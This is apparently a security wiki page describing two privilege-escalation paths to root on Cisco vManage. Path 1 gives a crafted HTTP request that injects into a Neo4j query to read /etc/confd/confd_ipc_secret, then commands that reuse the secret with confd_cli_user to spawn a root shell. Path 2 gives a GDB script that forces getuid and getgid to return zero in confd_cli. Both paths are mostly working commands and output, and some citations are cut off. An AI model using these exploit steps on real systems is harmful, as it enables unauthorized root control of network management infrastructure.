Cisco - vmanage

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Path 1

(Example from

After digging a little through some documentation related to confd and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in /etc/confd/confd_ipc_secret:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret 

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Remember our Neo4j instance? It is running under the vmanage user's privileges, thus allowing us to retrieve the file using the previous vulnerability:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1




The confd_cli program does not support command line arguments but calls /usr/bin/confd_cli_user with arguments. So, we could directly call /usr/bin/confd_cli_user with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret 

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

Path 2

(Example from

The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the /usr/bin/confd_cli_user which is only readable by root. I found another way to escalate to root without such hassle.

When I disassembled /usr/bin/confd_cli binary, I observed the following:

vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
40165c: 48 89 c3              mov    %rax,%rbx
40165f: bf 1c 31 40 00        mov    $0x40311c,%edi
401664: e8 17 f8 ff ff        callq  400e80 <getenv@plt>
401669: 49 89 c4              mov    %rax,%r12
40166c: 48 85 db              test   %rbx,%rbx
40166f: b8 dc 30 40 00        mov    $0x4030dc,%eax
401674: 48 0f 44 d8           cmove  %rax,%rbx
401678: 4d 85 e4              test   %r12,%r12
40167b: b8 e6 30 40 00        mov    $0x4030e6,%eax
401680: 4c 0f 44 e0           cmove  %rax,%r12
401684: e8 b7 f8 ff ff        callq  400f40 <getuid@plt>  <-- HERE
401689: 89 85 50 e8 ff ff     mov    %eax,-0x17b0(%rbp)
40168f: e8 6c f9 ff ff        callq  401000 <getgid@plt>  <-- HERE
401694: 89 85 44 e8 ff ff     mov    %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff     mov    -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff        callq  401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00  movb   $0x0,-0x831(%rbp)
4016ac: 48 85 c0              test   %rax,%rax
4016af: 0f 84 ad 03 00 00     je     401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00        mov    $0x3ff,%edx
4016ba: 48 89 c6              mov    %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff  lea    -0xc30(%rbp),%rdi
4016c4:   e8 d7 f7 ff ff           callq  400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …

When I run “ps aux”, I observed the following (note -g 100 -u 107)

vmanage:~$ ps aux 
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.

My first attempt was to run the “cmdptywrapper” directly and supplying it with -g 0 -u 0, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.

As mentioned in synacktiv’s blog(last example), the confd_cli program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.

I created a GDB script where I forced the API getuid and getgid to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the /etc/confd/confd_ipc_secret directly.


set environment USER=root
define root
   set $rax=0
break getuid
break getgid

Console Output:

vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
Find the GDB manual and other documentation resources online at:
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
uid=0(root) gid=0(root) groups=0(root)
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